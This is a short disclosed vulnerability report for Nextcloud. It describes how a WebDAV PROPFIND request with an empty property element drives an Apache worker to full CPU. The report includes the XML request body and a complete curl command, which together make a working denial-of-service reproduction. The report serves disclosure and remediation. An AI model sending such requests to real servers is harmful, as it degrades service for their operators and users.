Nextcloud · Report #255822
WebDAV Empty Property search leads to full CPU usage
Validstatus
mediumseverity
1upvotes
1 Mar 2020disclosed
How it was found
Tested with the following versions:
with mariadb in place.
A PROFIND nextcloud/remote.php/webdav/ with
<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
<a:prop></a:prop>
</a:propfind>
as body causes full CPU utilization of one Apache worker process.
in curl form:
curl -i --user testuser:testpass -X PROPFIND -d '<?xml version="1.0"?><a:propfind xmlns:a="DAV:"><a:prop></a:prop></a:propfind>' http://nextcloud/remote.php/webdav